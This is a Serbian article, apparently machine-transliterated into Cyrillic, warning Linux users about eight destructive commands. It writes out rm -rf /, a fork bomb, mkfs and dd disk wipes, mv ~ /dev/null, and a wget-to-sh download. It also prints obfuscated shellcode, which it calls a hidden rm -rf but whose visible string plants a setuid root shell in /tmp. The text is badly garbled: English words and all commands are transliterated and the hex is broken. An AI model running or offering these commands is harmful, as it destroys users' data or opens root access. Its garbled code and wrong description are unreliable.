8 Смртоносне команде које никада не би требало да користите на Линуку
Линукове команде терминала су моћне, а Линук неће тражити потврду ако покренете команду која ће сломити ваш систем. Није неуобичајено видети тролове на мрежи које препоручују нове кориснике Линука који извршавају ове команде као шалу.
Учење команди које не треба да се покрећу може вам помоћи да се заштитите од тролова док повећавате своје разумевање како Линук функционише. Ово није исцрпан водич, а команде овде могу да се ремиксују на различите начине.
Имајте на уму да ће многе од ових команди бити опасне само ако имају префикс судо на Убунту - неће радити другачије. На другим Линук дистрибуцијама, већина команди мора бити покренута као роот.
Имаге Цредит: Скулл и Цроссбонес ремикед фром Јасон Форд он Твиттер
рм -рф / - Делетес Еверитхинг!
Команда рм -рф / брише све што је могуће, укључујући датотеке на чврстом диску и датотеке на повезаним преносивим медијским уређајима. Ова наредба је разумљивија ако је сломљена:
рм - Уклоните следеће датотеке.
-рф - Покрените рм рекурзивно (избришите све датотеке и фасцикле у наведеној фасцикли) и присилно уклоните све датотеке без тражења.
/ \ Т - Говори рм-у да покрене у основном директоријуму, који садржи све датотеке на рачунару и све монтиране медијске уређаје, укључујући дељење удаљених датотека и преносивих уређаја.
Линук ће радо слушати ову наредбу и избрисати све без упита, па будите опрезни када је користите! Команда рм се може користити и на друге опасне начине - рм -рф ~ би избрисао све датотеке у матичној фасцикли, док рм -рф. * ће избрисати све ваше конфигурацијске датотеке.
Лекција: Беваре рм -рф.
Дисгуисед рм -рф /
Ево још једног кода кода који се налази на целом вебу:
цхар есп [] __аттрибуте__ ((одељак (“. текст”))) / * е.с.п
издање */
Кс64 к64 к64 к64 к64 к64 к64 к64 к64 к64 к64 к68 \ т
Ксфф кфф кфф кф к68 кд кд кд кд к68 к8 к99 ”\ т
Кс86 к64 к64 к86 к86 к64 к54 к5 кф к16 кф7 \ т
Кс56 к56 к64 к86 к64 к56 к56 к86 к64 к74 к56 к56
Кс8 к73 к0 к0 кц к80 к 38 к 31
Ксц кф кф кф к2 кф кф кф кф к2 к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к к 56
Кс6е к2 к73 к68 к00
“Цп -п / бин / сх / тмп/.беионд; цхмод 4755
/тмп/.беионд; ”;
Ово је хек верзија рм -рф / - извршавање ове команде би избрисало ваше датотеке као да сте покренули рм -рф /.
Лекција: Не трчите чудне, очигледно прикривене команде које не разумете.
: () : |: & ;: - Форк Бомб
Следећа линија је једноставна, али опасна, басх функција:
: () : |: & ;:
Ова кратка линија дефинише функцију љуске која ствара нове копије себе. Процес се непрекидно реплицира, а његове копије се континуирано реплицирају, брзо заузимајући ваше ЦПУ вријеме и меморију. То може довести до замрзавања рачунара. То је у основи напад ускраћивања услуге.
Лекција: Басх функције су моћне, чак и врло кратке.
Слика кредита: Даке на Викимедиа Цоммонс
мкфс.ект4 / дев / сда1 - Форматира тврди диск
Тхе мкфс.ект4 / дев / сда1 наредба је једноставна за разумевање:
мкфс.ект4 - Креирајте нови ект4 систем датотека на следећем уређају.
/ дев / сда1 - Одређује прву партицију на првом чврстом диску, која је вероватно у употреби.
Узета заједно, ова команда може бити еквивалентна формату ц: на Виндовсу - избрисат ће датотеке на првој партицији и замијенити их новим системом датотека.
Ова наредба се може појавити иу другим облицима - мкфс.ект3 / дев / сдб2 би форматирала другу партицију на другом чврстом диску са ект3 системом датотека.
Лекција: Пазите да покренете команде директно на хард дисковима који почињу са / дев / сд.
наредба> / дев / сда - Пише директно на тврди диск
Тхе команда> / дев / сда линија ради на сличан начин - покреће команду и шаље излаз те команде директно на ваш први хард диск, уписујући податке директно на хард диск и оштећујући систем датотека.
команду - Покрени наредбу (може бити било која наредба.)
> - Пошаљите излаз команде на следећу локацију.
/ дев / сда - Напишите излаз команде директно на хард диск уређај.
Лекција: Као и горе, пазите да покренете команде које укључују хард диск уређаје који почињу са / дев / сд.
дд иф = / дев / рандом од / / дев / сда - Пише Јунк на тврди диск
Тхе дд иф = / дев / рандом од = / дев / сда линија ће такође избрисати податке на једном од ваших чврстих дискова.
дд - Извршите копирање на ниском нивоу са једне локације на другу.
иф = / дев / рандом - Користите / дев / рандом (насумичне податке) као улаз - можете видети и локације као / дев / зеро (нуле).
оф = / дев / сда - Излаз на први чврсти диск, замењујући његов систем датотека са случајним подацима о смећу.
Лекција: дд копира податке са једне локације на другу, што може бити опасно ако копирате директно на уређај.
Имаге Цредит: Матт Рудге на Флицкр-у
мв ~ / дев / нулл - Премести Ваш Хоме Дирецтори у Блацк Холе
/ дев / нулл је друга посебна локација - померање нечега у / дев / нулл је исто што и уништавање. Замислите / дев / нулл као црну рупу. У суштини, мв ~ / дев / нулл шаље све ваше личне датотеке у црну рупу.
мв - Померите следећу датотеку или директоријум на другу локацију.
~ - Представља вашу целу фасциклу.
/ дев / нулл - Преместите почетну фасциклу у / дев / нулл, уништавајући све датотеке и бришите оригиналне копије.
Лекција: Знак ~ представља вашу матичну мапу и премјештање ствари у / дев / нулл их уништава.
вгет хттп://екампле.цом/сометхинг -О - | сх - Преузимање и покретање скрипте
Горња линија преузима скрипту са веба и шаље је сх, која извршава садржај скрипте. Ово може бити опасно ако нисте сигурни шта је скрипт или ако не вјерујете његовом извору - не покрећите непоуздане скрипте.
вгет - Преузима датотеку. (Можете да видите и цурл уместо вгет-а.)
хттп://екампле.цом/сометхинг - Преузмите датотеку са ове локације.
| - Пипајте (пошаљите) излаз команде вгет (датотека коју сте преузели) директно другој команди.
сх - Пошаљите датотеку у сх команду, која је извршава ако је басх скрипт.
Лекција: Не преузимајте и не покрећите непоуздане скрипте са Веба, чак и са командом.
Познајете и друге опасне наредбе које нови (и искусни) корисници Линука не би требали покренути? Оставите коментар и поделите их!